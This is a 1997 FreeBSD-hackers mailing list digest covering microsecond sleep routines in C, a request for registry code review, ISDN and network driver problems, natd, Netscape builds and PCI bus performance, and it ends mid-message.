<199708050456.IAA16063@minas-tirith.lms.ru> X-Mailer: exmh version 2.0gamma 1/27/96 To: freebsd.org!ports@minas-tirith.lms.ru cc: freebsd.org!hackers@minas-tirith.lms.ru Subject: Porting diald from Linux Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Aug 1997 08:56:09 +0400 From: Alex Povolotsky Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello! Has anyone tried to port diald from Linux to FreeBSD? It uses special code for protocol in socket() call to intercept all packets, and Ididn't found that code in FreeBSD headers (and even in Linux_dev port). Alex. From owner-freebsd-hackers Tue Aug 5 01:47:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA00363 for hackers-outgoing; Tue, 5 Aug 1997 01:47:07 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA00346; Tue, 5 Aug 1997 01:47:02 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id BAA00537; Tue, 5 Aug 1997 01:46:33 -0700 (PDT) Date: Tue, 5 Aug 1997 01:46:33 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@freebsd.org cc: freebsd-realtime@freebsd.org Subject: ?? The right way to do a microsecond resolution wait Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is this the best way to do a microsecond resolution wait under freebsd (usleep only appears good to 10,000 microseconds). Doing small waits is an important part of realtime software -- something that it would be interesting to see addressed, particularily making a usleep that actually sleeps microseconds. With the following (unless i am off my rocker) i can get a 4 microsecond wait on a ppro 180, a 25 microsecond wait on a pentium 100, and a 12 microsecond wait on a nexgen-100. What I want to know is this the best way to get a highly accurate wait in a thread of execution, is this even doing what I think it is, and why doesnt usleep do something like this? I guess I could use it to output a square wave on a paralell pin and look at that with an oscilliscope. For the application I use it for the usleeps for the significant portion of the time bring the cpu% down from 99% to about 1.5% pretty significant. #define USLEEP_RESOLUTION 10000 /* Don't use for times > 2000 seconds */ void rsleep (long usecs) { struct timeval begin_time, cur_time; long elapsed, utm; gettimeofday (&begin_time, NULL); /* record the starting time */ if (utm = (usecs / USLEEP_RESOLUTION)*USLEEP_RESOLUTION) usleep (utm); do gettimeofday (&cur_time, NULL); /* get the current time */ while (((cur_time.tv_sec - begin_time.tv_sec) * 1000000 + (cur_time.tv_usec - begin_time.tv_usec)) < usecs); } From owner-freebsd-hackers Tue Aug 5 01:47:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA00401 for hackers-outgoing; Tue, 5 Aug 1997 01:47:36 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA00391 for ; Tue, 5 Aug 1997 01:47:31 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id SAA27621 for hackers@freebsd.org; Tue, 5 Aug 1997 18:17:29 +0930 (CST) From: Michael Smith Message-Id: <199708050847.SAA27621@genesis.atrad.adelaide.edu.au> Subject: Registry reviewers? To: hackers@freebsd.org Date: Tue, 5 Aug 1997 18:17:29 +0930 (CST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Do I take it that nobody has actually looked at the registry code (documented, commented for Steven's delectation) that I mentioned last week? If I were to just slip it in parallel with the sysctl code, would anyone notice? 8) Seriously, please, even just a style bitch would be nice... -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 01:49:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA00586 for hackers-outgoing; Tue, 5 Aug 1997 01:49:23 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA00564 for ; Tue, 5 Aug 1997 01:49:08 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id SAA27635 for hackers@freebsd.org; Tue, 5 Aug 1997 18:19:06 +0930 (CST) From: Michael Smith Message-Id: <199708050849.SAA27635@genesis.atrad.adelaide.edu.au> Subject: Parallel port bus code? To: hackers@freebsd.org Date: Tue, 5 Aug 1997 18:19:06 +0930 (CST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Looks like it's my week to be ignored. I've had exactly one response to my announcement last week of the new parallel port 'bus' code. Should I take this as an implicit go-ahead and splat it in? -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 03:52:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA06795 for hackers-outgoing; Tue, 5 Aug 1997 03:52:32 -0700 (PDT) Received: from kongur.cs.ucdavis.edu (kongur.cs.ucdavis.edu [128.120.56.192]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA06775; Tue, 5 Aug 1997 03:52:26 -0700 (PDT) Received: from dragon.nuxi.com (carina55.wco.com [209.21.28.55]) by kongur.cs.ucdavis.edu (8.8.5/8.8.5) with ESMTP id DAA16904; Tue, 5 Aug 1997 03:51:22 -0700 (PDT) Received: (from obrien@localhost) by dragon.nuxi.com (8.8.5/8.7.3) id KAA06919; Tue, 5 Aug 1997 10:51:18 GMT Message-ID: <19970805035118.36949@dragon.nuxi.com> Date: Tue, 5 Aug 1997 03:51:18 -0700 From: "David O'Brien" To: andreas.klemm@wup.de, andreas@klemm.gtn.com Cc: hackers@freebsd.org, ports@freebsd.org Subject: Re: FBSD 2.2.2 - problem: no colors when using mutt in a color xterm Reply-To: obrien@NUXI.COM References: <19970722111536.51938@wup.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: <19970722111536.51938@wup.de>; from Andreas Klemm on Tue, Jul 22, 1997 at 11:15:36AM +0200 X-Warning: Mutt Bites! X-Operating-System: FreeBSD 2.2-STABLE Organization: The NUXI *BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > At home I'm using FreeBSD-current and X11R6.3. There it's possible, to get > mutt configured to use colors. Yes. Run mutt in an rxvt term, with TERM=xterm-color. -- -- David (obrien@NUXI.com -or- obrien@FreeBSD.org) From owner-freebsd-hackers Tue Aug 5 04:04:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA07346 for hackers-outgoing; Tue, 5 Aug 1997 04:04:14 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA07341 for ; Tue, 5 Aug 1997 04:04:10 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 3545 on Tue, 5 Aug 1997 11:03:49 GMT; id LAA03545 efrom: hans@brandinnovators.com; eto: UNKNOWN Received: by truk.brandinnovators.com (8.7.5/BI96070101) for <> id MAA26530; Tue, 5 Aug 1997 12:50:57 +0200 (MET DST) Message-Id: <199708051050.MAA26530@truk.brandinnovators.com> From: hans@brandinnovators.com (Hans Zuidam) Subject: Re: Registry reviewers? To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Tue, 5 Aug 1997 12:50:57 +0200 (MET DST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199708050847.SAA27621@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 5, 97 06:17:29 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Michael Smith wrote: > If I were to just slip it in parallel with the sysctl code, would anyone > notice? 8) Forgive my ignorance, but what does the registery code actually do that cannot be done with sysctl? Hans -- H. Zuidam E-Mail: hans@brandinnovators.com Brand Innovators B.V. P-Mail: P.O. Box 1377 de Pinckart 54 5602 BJ Eindhoven, The Netherlands 5674 CC Nuenen Tel. +31 40 2631134, Fax. +31 40 2831138 From owner-freebsd-hackers Tue Aug 5 06:50:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA13625 for hackers-outgoing; Tue, 5 Aug 1997 06:50:50 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id GAA13620 for ; Tue, 5 Aug 1997 06:50:48 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA03204; Tue, 5 Aug 1997 09:50:05 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 5 Aug 1997 09:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id HAA20729; Tue, 5 Aug 1997 07:16:12 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id HAA04362; Tue, 5 Aug 1997 07:25:25 -0400 (EDT) Date: Tue, 5 Aug 1997 07:25:25 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708051125.HAA04362@lakes.dignus.com> To: ponds!panda.hilink.com.au!danny, ponds!freefall.cdrom.com!freebsd-hackers, ponds!lakes.dignus.com!rivers Subject: Re: two natd's running? Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > But - what should I do if I want two SL/IP connections going at the > > same time, on one machine; and still have the other machines > > on the internal network transparently get to either network? > > Can natd handle such a situation? > > Use separate divert rules for the two destinations. > > Danny > Ummm... not being exactly aware of how ipfw works, etc... can you point me to an example? - Thanks - - Dave R. - From owner-freebsd-hackers Tue Aug 5 07:01:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA14290 for hackers-outgoing; Tue, 5 Aug 1997 07:01:47 -0700 (PDT) Received: from bagpuss.visint.co.uk (bagpuss.visint.co.uk [194.207.134.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA14282 for ; Tue, 5 Aug 1997 07:01:41 -0700 (PDT) Received: from dylan.visint.co.uk (dylan.visint.co.uk [194.207.134.180]) by bagpuss.visint.co.uk (8.7.5/8.7.3) with SMTP id PAA17573; Tue, 5 Aug 1997 15:00:59 +0100 (BST) Date: Tue, 5 Aug 1997 15:00:59 +0100 (BST) From: Stephen Roome To: Eivind Eklund cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards In-Reply-To: <199707301904.VAA27279@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I know this discussion is old now, but I didn't get to my mailbox in time, and I've had too much grief trying to get bisdn working reliably to let it pass... On Wed, 30 Jul 1997, Eivind Eklund wrote: > > If anybody would like to attempt to develop drivers for the the Tele/S > ISDN cards, I've got some cards I'm not using. These are European > cards; they won't work on a standard US endpoint. Also, they are > fairly low-level, and need a lot of logic in the driver. > > Contact me for further info if you're interested. (Yeah, I know of > the bISDN people, but nothing seems to be happening there; besides, > they have already got hardware, it seems.) I tried using bisdn, both with -current and 2.2.2, without much luck, I'm in europe (england) and although bisdn connects and works most of the time it did have a nasty habit of just halting the machine completely. If I used natd and aliased a bunch of machines through it it crashed sooner.. but it only seems to crash when bisdn I was using telnet. (ping etc. wouldn't crash it for me). Basically though, bisdn isn't a workable stable system. It was a pain to install and IMHO is a total mess. (Even sound cards need less junk in the kernel.) Well, just wanted to say that in case someone suggests that we should all be using bisdn. Because IMHO, it sucks, and really shouldn't be used as a base for future code either. (except as a bad example.) As far as other cards go I wouldn't bother, we got in touch with chase research and they won't release the specs for their cards without an NDA, (so no source code going out for them, well, not by me or anyone here.) AFAIK many of the other ISDN cards are almost Teles-like compatibles anyway, so I would hope someone decides to write a decent driver for them separately to bisdn. Perhaps then I'll stop buying USR courier I-modems for ISDN lines. Although at least with them I can use ppp -alias, as I'm not entirely sure natd is the most stable thing about yet either. Not too much of a dig I hope, but since my recent experiences with ISDN I would suggest either using Winblows 95/NT to route through and ISDN card, or get a real (Hayes AT compatibly set) ISDN modem. -- Steve Roome - Vision Interactive Ltd. Tel:+44(0)117 9730597 Home:+44(0)976 241342 WWW: http://dylan.visint.co.uk/ From owner-freebsd-hackers Tue Aug 5 07:09:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA14826 for hackers-outgoing; Tue, 5 Aug 1997 07:09:36 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA14821 for ; Tue, 5 Aug 1997 07:09:34 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA03199; Tue, 5 Aug 1997 09:50:04 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 5 Aug 1997 09:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id HAA20674; Tue, 5 Aug 1997 07:14:05 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id HAA04340; Tue, 5 Aug 1997 07:23:18 -0400 (EDT) Date: Tue, 5 Aug 1997 07:23:18 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708051123.HAA04340@lakes.dignus.com> To: ponds!freebsd.org!hackers, ponds!plutotech.com!ken, ponds!lakes.dignus.com!rivers Subject: Re: Netscape & floating point core dumps? Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Just to answer my own mail... > > > > > > 3) I've seen one mention of 4.01b7 - but I can't actually > > > find it at ftp.netscape.com - is this available yet? > > > > Look on ftp23.netscape.com. It hasn't made it out to all of their > > other ftp servers yet. So far, it seems to be pretty stable. > > > > > > Ken > > -- > > Kenneth Merry > > ken@gt.ed.net > > > > Hey! Thanks for the pointer.... > > It looks like, today, the netscape people decided to support > freebsd separately from the BSDI... I found the following on > ftp23.netscape.com: > > /pub/communicator/4.02/4.02b7/english/unix/freebsd > > I'd suggest everyone who's interested take a look - I'll be downloading > soon myself... > > - Dave Rivers - > I've got 4.02b7 native freebsd netscape installed... it works *much* better than the 4.01 versions. Seems to be somewhat faster as well. So far, I haven't had a single crash; although I haven't tried any Java stuff yet... - Dave Rivers - From owner-freebsd-hackers Tue Aug 5 07:44:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA16493 for hackers-outgoing; Tue, 5 Aug 1997 07:44:09 -0700 (PDT) Received: from locust.etext.org (locust.etext.org [141.211.26.90]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA16469 for ; Tue, 5 Aug 1997 07:43:58 -0700 (PDT) Received: from localhost (pauls@localhost) by locust.etext.org (8.8.6/8.7.3) with SMTP id KAA13351 for ; Tue, 5 Aug 1997 10:43:50 -0400 (EDT) Date: Tue, 5 Aug 1997 10:43:50 -0400 (EDT) From: Paul Southworth To: freebsd-hackers@freebsd.org Subject: MySQL using FreeBSD native threads (3.0) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As some of you are probably aware, the MySQL server is a multi-threaded SQL server which runs on FreeBSD (and many other platforms) and is distributed in source form with reasonable licensing requirements. Until now, the threads implementation used by MySQL on FreeBSD has been a modified version of MIT pthreads maintained by the MySQL author. In the interest of having this package work with the FreeBSD native threads implementation, I made available a system for Monty to do a port on (3.0-970618-SNAP). Unfortunately he ran across a couple problems which would benefit from comment by someone experienced with the FreeBSD native threads implementation. That person is not myself. If anyone has time to answer some questions via e-mail, in the interest of expediting this development work, please drop me a line. --Paul From owner-freebsd-hackers Tue Aug 5 08:10:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA17739 for hackers-outgoing; Tue, 5 Aug 1997 08:10:24 -0700 (PDT) Received: from gateway.cybernet.com (gateway.cybernet.com [192.245.33.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA17720; Tue, 5 Aug 1997 08:10:20 -0700 (PDT) Received: from spiffy.cybernet.com (spiffy.cybernet.com [192.245.33.55]) by gateway.cybernet.com (8.7.6/8.7.3) with SMTP id LAA27728; Tue, 5 Aug 1997 11:14:32 -0400 (EDT) Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 05 Aug 1997 11:09:41 -0400 (EDT) Organization: Cybernet Systems From: "Mark J. Taylor" To: "Jamil J. Weatherbee" To: "Jamil J. Weatherbee" , freebsd-hackers@FreeBSD.ORG Subject: RE: ?? The right way to do a microsecond resolution wait Cc: freebsd-realtime@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I've had compatibility problems with this kind of code in a 'real-time' environment. There are all kinds of signals going on. Some systems don't restart after an interrupted system call (even if you set the signal up as such). And many systems use the itimer for other things (like alarm()). Having it yanked out from under you is kinda annoying. I wrote a sleeper routine using select(), as the man page for usleep() suggests. It does not take any 'extra' system resources (like a valuable timer channel). For the SGI/IRIX version, I used nanosleep(). If you are interested in the 'select()' version of usleep(), here it is (free of charge and worth every penny): double timeGetTime(void) { struct timeval tv; double now; gettimeofday(&tv, NULL); now = (double) tv.tv_sec*1000L+(double) tv.tv_usec/1000; return(now); } void Sleep(long sleep_msec) { #if !defined(vxworks) && !defined(sgi) struct timeval tv; #else struct timespec tv; #endif /* !vxworks */ double wakeup_msec, now_msec; now_msec = timeGetTime(); wakeup_msec = now_msec + sleep_msec; while (now_msec=timeGetTime(), now_msec < wakeup_msec) { tv.tv_sec = (wakeup_msec - now_msec)/1000L; #if !defined(vxworks) && !defined(sgi) tv.tv_usec = ((wakeup_msec-now_msec)-(tv.tv_sec*1000L))*1000L; select(0 , NULL, NULL, NULL, &tv); #else tv.tv_nsec = ((wakeup_msec-now_msec)-(tv.tv_sec*1000L))*1000000L; nanosleep(&tv, NULL); #endif /* !vxworks */ } } On 05-Aug-97 "Jamil J. Weatherbee" wrote: > >Is this the best way to do a microsecond resolution wait under freebsd >(usleep only appears good to 10,000 microseconds). Doing small waits is an >important part of realtime software -- something that it would be >interesting to see addressed, particularily making a usleep that actually >sleeps microseconds. > > >With the following (unless i am off my rocker) i can get a 4 microsecond >wait on a ppro 180, a 25 microsecond wait on a pentium 100, and a 12 >microsecond wait on a nexgen-100. > >What I want to know is this the best way to get a highly accurate wait in >a thread of execution, is this even doing what I think it is, and why >doesnt usleep do something like this? I guess I could use it to output a >square wave on a paralell pin and look at that with an oscilliscope. For >the application I use it for the usleeps for the significant portion of >the time bring the cpu% down from 99% to about 1.5% pretty significant. > > > >#define USLEEP_RESOLUTION 10000 > >/* Don't use for times > 2000 seconds */ >void rsleep (long usecs) >{ > struct timeval begin_time, cur_time; > long elapsed, utm; > > gettimeofday (&begin_time, NULL); /* record the starting time */ > > if (utm = (usecs / USLEEP_RESOLUTION)*USLEEP_RESOLUTION) usleep (utm); > > do gettimeofday (&cur_time, NULL); /* get the current time */ > while (((cur_time.tv_sec - begin_time.tv_sec) * 1000000 + > (cur_time.tv_usec - begin_time.tv_usec)) < usecs); > } -------------------------------------------------------------------- Mark J. Taylor Network R&D Manager Cybernet Systems mtaylor@cybernet.com 727 Airport Blvd. PHONE (313) 668-2567 Ann Arbor, MI 48108 FAX (313) 668-8780 -------------------------------------------------------------------- From owner-freebsd-hackers Tue Aug 5 09:01:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA19943 for hackers-outgoing; Tue, 5 Aug 1997 09:01:33 -0700 (PDT) Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [205.168.119.129]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA19918; Tue, 5 Aug 1997 09:01:15 -0700 (PDT) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.8.6/8.8.5) with ESMTP id JAA16252; Tue, 5 Aug 1997 09:59:38 -0600 (MDT) Message-Id: <199708051559.JAA16252@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0gamma 1/27/96 From: Steve Passe To: "Mark J. Taylor" cc: "Jamil J. Weatherbee" , freebsd-hackers@FreeBSD.ORG, freebsd-realtime@FreeBSD.ORG Subject: Re: ?? The right way to do a microsecond resolution wait In-reply-to: Your message of "Tue, 05 Aug 1997 11:09:41 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Aug 1997 09:59:38 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, look at "man nanosleep". -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD From owner-freebsd-hackers Tue Aug 5 09:05:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA20232 for hackers-outgoing; Tue, 5 Aug 1997 09:05:01 -0700 (PDT) Received: from bitbox.follo.net (eivind@bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA20215; Tue, 5 Aug 1997 09:04:45 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.5/8.7.3) id SAA05123; Tue, 5 Aug 1997 18:00:40 +0200 (CEST) Date: Tue, 5 Aug 1997 18:00:40 +0200 (CEST) Message-Id: <199708051600.SAA05123@bitbox.follo.net> From: Eivind Eklund To: Max Khon CC: grog@FreeBSD.ORG, msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG In-reply-to: Max Khon's message of Wed, 30 Jul 1997 14:05:15 +0700 (NSS) Subject: Re: AMD PCNet/PCI troubles References: <199707282240.IAA02358@freebie.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > On Tue, 29 Jul 1997 grog@FreeBSD.ORG wrote: > > > > but under FreeBSD (unlike Linux) networking sometimes is very slow > > > (~30-50K/s via ftp) > > > > I'm sure this happens under Linux too, like it sometimes happens under > > any operating system. It's a bug, probably in the configuration. > > this does not happen under Linux and Win95 > afair there were no troubles with these cards in 2.2-GAMMA You need to enable bounce-buffers. Or at least I had this problem (LOOOW speed on the Lance in some cases) when I removed bounce-buffers on a machine that shouldn't need it. This was under 2.1.7, though. Eivind. From owner-freebsd-hackers Tue Aug 5 09:17:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA20746 for hackers-outgoing; Tue, 5 Aug 1997 09:17:50 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA20741 for ; Tue, 5 Aug 1997 09:17:46 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA06274; Tue, 5 Aug 1997 09:15:54 -0700 From: Terry Lambert Message-Id: <199708051615.JAA06274@phaeton.artisoft.com> Subject: Re: Pentium II? To: tony@dell.com (Tony Overfield) Date: Tue, 5 Aug 1997 09:15:54 -0700 (MST) Cc: terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: <3.0.2.32.19970804125532.0070d730@bugs.us.dell.com> from "Tony Overfield" at Aug 4, 97 12:55:32 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >Yes, I can. Search for "PCI" instead of "Dell"; this was a property > >of the Saturn I, Neptune I, and Mecury I chipsets, not a property > >of only Dell computers -- any computer using those chips blew the > >cache line invalidation following a DMA from a PCI controller to > >main memory. > > Except that there were work-arounds for the problems which we > implemented. It's simply not true that all of those systems > had those problems. Ugh. The workarounds were unaceptable. If I used PCI bus mastering, my normal performance was reduced by an IMO significant amount. > >> Don't forget than Pentium memory is 64 bits wide and 486/50 memory > >> is 32 bits wide. Thus, your fancy 486/50 memory bus cannot help to > >> explain your faster I/O claims, so maybe you've got a "magic I/O bus." > > > >Actually, PCI busses are only 32 bits wide, so the 64 bit processor > >memory path is totally irrelevent for bus master DMA speed. The > >width limitation is at the bus-to-memory interface, not at the > >processor. > > No. PCI memory writes are often posted, combined and written into > DRAM 64 bits at a time. I could see where this might have an effect... IFF there were wait states on writing memory from PCI that the posting worked around. However, I would expect it to have less than 25% of the impact that an actual 64 bit data path had, were that the case. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 5 09:19:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA20882 for hackers-outgoing; Tue, 5 Aug 1997 09:19:55 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA20876; Tue, 5 Aug 1997 09:19:45 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA06292; Tue, 5 Aug 1997 09:18:18 -0700 From: Terry Lambert Message-Id: <199708051618.JAA06292@phaeton.artisoft.com> Subject: Re: patch to lnc driver for Hitachi Mx laptop To: se@FreeBSD.ORG (Stefan Esser) Date: Tue, 5 Aug 1997 09:18:17 -0700 (MST) Cc: ulf@gatekeeper.alameda.net, faber@isi.edu, freebsd-hackers@FreeBSD.ORG, faber@lunabase.org, se@FreeBSD.ORG In-Reply-To: <19970805002853.56260@mi.uni-koeln.de> from "Stefan Esser" at Aug 5, 97 00:28:53 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Could someone provide a boot install disk with this patch ? > > I have a Hitachi M and would like to try it. The 2.2.2R did not work. > > Since I wrote the PCI probe code for the Lance driver, > I'm going to commit this patch, and the boot disk will > automagically appear on "current.freebsd.org" sometime > thereafter :) Note: the patch expectes a variant value (0 vs. non-0) for the Hitachi card, so this might not be a good idea, unless you check for either value... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 5 09:26:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA21265 for hackers-outgoing; Tue, 5 Aug 1997 09:26:43 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA21256 for ; Tue, 5 Aug 1997 09:26:32 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA06304; Tue, 5 Aug 1997 09:24:42 -0700 From: Terry Lambert Message-Id: <199708051624.JAA06304@phaeton.artisoft.com> Subject: Re: Registry reviewers? To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Tue, 5 Aug 1997 09:24:42 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199708050847.SAA27621@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Aug 5, 97 06:17:29 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Do I take it that nobody has actually looked at the registry code > (documented, commented for Steven's delectation) that I mentioned > last week? > > If I were to just slip it in parallel with the sysctl code, would anyone > notice? 8) > > Seriously, please, even just a style bitch would be nice... I saw the announcement, but have not grabbed the code. Do you have a higher level architectural overview? For example, are you doing kernel level file I/O to implement the thing? I've personally been working on Win95/NT style registry API's at the kernel level (a necessary step to support use of Win32 Ring 0 drivers in FreeBSD), 